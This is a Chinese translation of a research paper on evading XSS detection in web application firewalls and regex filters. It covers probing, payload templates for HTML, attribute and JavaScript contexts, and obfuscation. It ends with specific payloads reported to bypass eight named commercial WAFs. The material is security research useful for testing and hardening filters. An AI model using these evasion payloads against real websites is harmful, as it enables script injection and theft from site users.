-
-
[翻译]绕过XSS检测机制
-
发表于: 2019-4-18 11:10 11066
-
本文提出了一种绕过XSS安全机制的方法,该方法对检测机制在检测恶意代码字符串时使用的规则进行假设,并基于这些假设发送探针和构造payload。
该方法包括三个阶段:确定payload的结构,探测和混淆。
对给定文本确定不同payload结构有助于确定最优测试方案。下一步,探测,具体而言是针对目标的安全机制测试各种字符串,分析目标给出的回应。
最后,如果需要的话,对payload使用混淆和其他加固方案。
黑客
本文假设读者对XSS、HTML和 JavaScript 有一定的了解。
本文中,{string}
表示payload的组成部分,{?string}
表示可选部分,primary character 表示某个符号必须存在。
建议在payload中使用不安全字符(如+
和&
)之前对其使用URL编码。
在探测时,无害字符串应该使用{javascript}
代替。
跨站脚本(Cross Site Script,XSS)是最常见的Web应用漏洞之一。一般可通过下列措施预防:过滤用户输入、基于context转义输出、正确使用DOM接收器和源,实施适当的跨源资源共享(Cross Origin Resource Sharing, CORS)策略和其他安全实践。尽管这些防御措施已经成为共识,但是在其他层面通常还会使用Web应用防火墙(WAF)或其他定制的过滤器来保护web应用使其免受因人为错误或新引入的攻击向量而带来的漏洞利用。虽然WAF厂商已经开始尝试引入机器学习方法,正则表达式仍然是检测恶意字符串最常用的方法。
本文提出了一种构造XSSpayload的方法,可以绕过这些安全机制所使用的正则表达式
当用户用户输入的信息反映在网页的HTML中时,它就称为HTML context。根据位置的不同可以将HTML context分为两类:
这种context的primary character是<
,表示HTML 标签的开始。
根据HTML规范,标签名需以字母开头。因此,可以使用以下探测器来确定用于匹配标签名的正则表达式:
如果安全机制不允许使用这些探测器,则无法绕过它。
不建议使用这种限制条件,因为会导致高假正率(false positive,将正常操作判断为异常操作的数量)。
如果以上任意一个探测器能够成功,那么将有很多构造payload的方案。
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
一旦发现合适的{tag}值,下一步就是猜测用来匹配filler的正则表达式(这里的filler是在tag和event_handler之间的那个filler)。可通过下列探测器来实现:
event_handler是payload结构中最重要的组成部分之一,它通常要么匹配如on\w+
的正则表达式,或如on(load|click|error|show)
之类的黑名单。正则表达式限制性很强,不容易绕过。但是黑名单的模式可以使用较为罕见的event_handler绕过。可以做两个简单的检查来确定服务器使用的是哪种方式。
如果正则表达式确定是on\w+
,则无法绕过,因为所有的event_handler都是以on
开头。这时,你需要使用其他的payload构造方案。如果正则表达式遵循黑名单方法,你需要查找不在黑名单上的event_handler。如果所有的event_handler都在黑名单上,你需要使用其他的payload构造方案。
在我进行绕过WAF的实验过程中发现的不在黑名单上的event_handler有:
对=
附近的filler的测试与前一个filler类似,而且只在<tag{filler}{event_handler}=d3v
是被安全机制封锁时才测试。
下一个组成部分是要执行的JavaScript代码,属于payload的活动部分,但是不需要对用于匹配它的正则表达式作任何的假设,因为JavaScript代码是任意的,因此无法通过预定义模式进行匹配。
同时,payload的所有组成部分要放在一起,并括起来。可以用下面几种方式:
应该指出的是,HTML允许<tag{white space}{anything here}>
这样的格式,所以类似 <a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
的标签是有效的。HTML标签的这种性质让攻击者可以用上面提到的方法将恶意代码注入到HTML标签中。
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
对filler和结束符的测试与前一个payload方案一样。需要指出的是,?
需要放在URL的尾部(如果URL后面没有filler)而不是标签的后面。任何放在?
后面的字符都被当做URL的一部分,直到遇到>
. 使用<script>
标签会被大多数安全机制检测出来。
可以使用同样的方法构造带<object>
标签的payload。
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
这个payload方案有两种版本:简单版本和混淆版本。
简单版本一般匹配类似href[\s]*=[\s]*javascript:
的模式。它的结构如下所示:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆版本结构如下所示:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个版本最大的不同是 {special}
和{quote}
这两个组成部分。
{special}
指的是字符串javascript
的混淆版本,可以使用换行符和水平制表符对其进行混淆,如下所示:
在有些情况下数字符加密也可以躲避检测。十进制和十六进制都可以。
显然,如有必要,可以同时使用两种混淆方案。
标签外的context根据注入的payload是否可以直接执行分为可执行context
和不可执行context
。
不可执行context
是指在HTML注释中,即<--$input-->
,或者以下标签中的用户输入:
为了执行payload,这些标签必须是封闭的。因此,可执行context
和不可执行context
之间的唯一不同就是对{closing tag}
组成部分的测试,可通过以下方式测试{closing tag}
:
一旦发现任何可用的closing tag,都可以使用{closing tag}{any payload from executable payload section}
完成注入。
这个context的primary character就是将属性值括起来所用的引号。例如,如果用户的输入是传送到<input value="$input" type="text">
,那么这里的关键符应该是“
.
但是,在有些情况下并不需要用primary character显示context。
如果用户输入是某个与event handler相关的值,例如,<tag event_handler="function($input)";
,触发该事件就会执行该值中的JavaScript代码。
如果用户输入是script或iframe中src
属性的值,例如,<script src="$input">
,那么可以直接使用<script src="http://example.com/malicious.js">
直接加载恶意代码(如果是script标签)或者恶意网页(如果是iframe标签)。
#####绕过匹配URL的正则表达式
如果用户输入是iframe的srcdoc
属性值,例如,<iframe srcdoc="$input">
可以将转义(使用HTML实体)HTML文档作为payload,如下所示:
<iframe srcdoc="<svg/onload=alert()>">
以上例子除了最后一个都不需要任何绕过技术,而最后一个可以使用在HTML context部分提到的技术绕过。上面所说的例子是不常见的,用户输入最常被传送到的地方是:
<input type="text" value="$input">
根据可交互性可以将其分为两类。
当用户输入的某个属性值是可交互的,例如,点击、徘徊、聚焦等等,那么只需要一个引号就能跳出该context。这种情况下的payload构造方案如下:
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
可使用下面的方式检测WAF是否限制引号(不太可能会限制)。
x"y
这里的event_handler很重要,因为它是唯一一个可能被WAF检测到的组成部分。每个标签都会支持几个event handler,并且由用户决定是哪种event handler。但是,也有一些event handler可以绑定到任意标签中,如下所示:
对其他组成部分的测试可以使用前文所述的方法。
如果用户输入的某个属性值是不可交互的,那么需要跳出该标签才能执行payload。这种情况下的payload构造方法如下:
{quote}>{any payload scheme from html context section}
用户输入作为JavaScript context最常见的方式是作为一个字符串变量。这种情况很常见,因为开发人员通常会将用户输入赋值给某个变量,而不是直接使用用户输入。
var name = '$input';
{quote}{delimiter}{javascript}{delimiter}{quote}
这里的delimiter
通常是Javascript的一个操作,如^
。 例如,如果用户输入的值是放在一个带引号的字符串变量中,那么payload构造方案可如下所示:
{quote}{delimiter}{javascript}//
除了注释符,这个构造方案和前一个方案很像,它使用//注释掉后面的代码以保证语法正确。
可使用如下方案构造payload:
用户输入通常会表现在代码块内。例如,如果用户已付费订阅且超过18岁,网页会执行某些操作。
用户输入在代码块中的表现如下所示:
假设我们没有付费。为了绕过这个判断,我们需要关闭条件代码块和函数调用等代码块,跳出if (subscription)
。如果用户输入是');}}alert();if(true){('
,那么上面的代码将变成:
将上面的代码缩进后,如下所示:
);
结束了当前函数调用。
第一个 }
结束了if (age > 18)
语句
第二个}
结束了if subscription
语句
alert();
是一个测试函数
if(true){
是和后面的else语句对应,保证语法正确。
最后, ('
与我们最初注入的函数的剩余部分结合在一起。
上面这种情况是你在实践过程中遇到的最简单的代码块。为了简化跳出代码块的过程,建议使用类似Sublime Text来高亮。
payload的构造方案取决于代码本身,而这种不确定让它很难被检测出来。但是,如果需要,还要混淆代码。
例如,上面代码块所使用的payload可以这么写:
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
不管是在代码块还是在字符串变量中都可以使用</scRipT{?filler}>{html context payload}
跳出上下文并执行payload。可以在任何情况下使用先使用这种payload测试,因为它很简单。但是,它也很容易被检测出来。
在研究过程中,总共绕过了8个WAF。厂商可能已经了解到这些绕过方法,所以下面的部分(或全部)方法可能已经无效了。
下面列出绕过的WAF,payload和绕过技术:
Name: Cloudflare\
Payload: <a"/onclick=(confirm)()>click
\
Bypass Technique: 无空格 filler
Name: Wordfence\
Payload: <a/href=javascript:alert()>click
\
Bypass Technique: 数字符编码
Name: Barracuda\
Payload: <a/href=Java%0a%0d%09script:alert()>click
\
Bypass Technique: 数字符编码
Name: Akamai\
Payload: <d3v/onauxclick=[2].some(confirm)>click
\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用
Name: Comodo\
Payload: <d3v/onauxclick=(((confirm)))``>click
\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用
Name: F5\
Payload: <d3v/onmouseleave=[2].some(confirm)>click
\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用
Name: ModSecurity\
Payload: <details/open/ontoggle=alert()>
\
Bypass Technique: 使用黑名单中缺少的tag(也缺少event handler?)
Name: dotdefender\
Payload: <details/open/ontoggle=(confirm)()//
\
Bypass Technique: 使用黑名单中缺少的tag;混淆函数调用;备用标签结束
原文链接:https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms
编译:看雪翻译小组 lumou
校对:看雪翻译小组 梦野间
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!